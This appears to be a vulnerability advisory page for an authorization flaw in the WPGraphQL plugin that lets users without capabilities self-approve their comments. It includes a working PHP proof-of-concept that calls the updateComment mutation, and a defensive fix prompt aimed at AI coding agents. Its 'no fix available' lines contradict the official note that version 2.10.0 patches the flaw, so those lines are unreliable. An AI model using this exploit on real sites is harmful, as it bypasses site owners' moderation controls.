# CVE-2026-33290: Missing authorization in wp-graphql

> Low-privileged users can self-approve their own comments by bypassing moderation checks in the WPGraphQL plugin.

- **Severity:** Medium 4.3 (`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N`)
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 23 Mar 2026
- **Updated:** 24 Mar 2026
- **Also known as:** GHSA-9hc3-mh5h-4fgh

## What is CVE-2026-33290?

CVE-2026-33290 is a medium-severity missing authorization vulnerability in wp-graphql, published on 23 Mar 2026. Any signed-in user can exploit it over the network, with no action from the victim.

### Official description

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.

### Details

In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:

- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).

This means a non-moderator owner can submit status during update and transition moderation state.

### PoC

Tested in local wp-env (Docker) with WPGraphQL 2.9.1.

1. Start environment:

  npm install
  npm run wp-env start

2. Run this PoC:

```
  npm run wp-env run cli -- wp eval '
  add_role("no_caps","No Caps",[]);
  $user_id = username_exists("poc_nocaps");
  if ( ! $user_id ) {
    $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
  }
  $user = get_user_by("id",$user_id);
  $user->set_role("no_caps");

  $post_id = wp_insert_post([
    "post_title" => "PoC post",
    "post_status" => "publish",
    "post_type" => "post",
    "comment_status" => "open",
  ]);

  $comment_id = wp_insert_comment([
    "comment_post_ID" => $post_id,
    "comment_content" => "pending comment",
    "user_id" => $user_id,
    "comment_author" => $user->display_name,
    "comment_author_email" => $user->user_email,
    "comment_approved" => "0",
  ]);

  wp_set_current_user($user_id);

  $result = graphql([
    "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
    "variables" => [ "id" => (string)$comment_id ],
  ]);

  echo wp_json_encode([
    "role_caps" => array_keys(array_filter((array)$user->allcaps)),
    "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
    "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
    "comment_id" => $comment_id
  ]);
  '
```

3. Observe result:

- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1

### Impact

This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

Weakness: CWE-862 (Missing Authorization)

## Which versions are affected by CVE-2026-33290?


## How do I fix CVE-2026-33290?

No fix has been published for CVE-2026-33290 yet. Limit exposure of the affected software until one is available.

## Is CVE-2026-33290 being exploited?

It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-33290 exists.

## Fix prompt for AI coding agents

```text
Check this codebase for CVE-2026-33290 and fix it if it is affected.

What it is: CVE-2026-33290 is a medium-severity missing authorization vulnerability in wp-graphql, published on 23 Mar 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Exploitation: It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-33290 exists.

Affected product: wp-graphql. No package-level version data is available, so check the vendor advisory linked from the reference page.

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/CVE-2026-33290/ (Markdown: https://insights.sbomify.com/CVE-2026-33290/index.md)
```

## Sources

- CVE record: https://www.cve.org/CVERecord?id=CVE-2026-33290
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33290
- OSV: https://osv.dev/vulnerability/CVE-2026-33290

---
From sbomify Insights: https://insights.sbomify.com/CVE-2026-33290/
Summaries are generated and may contain mistakes; the official description above is the record.
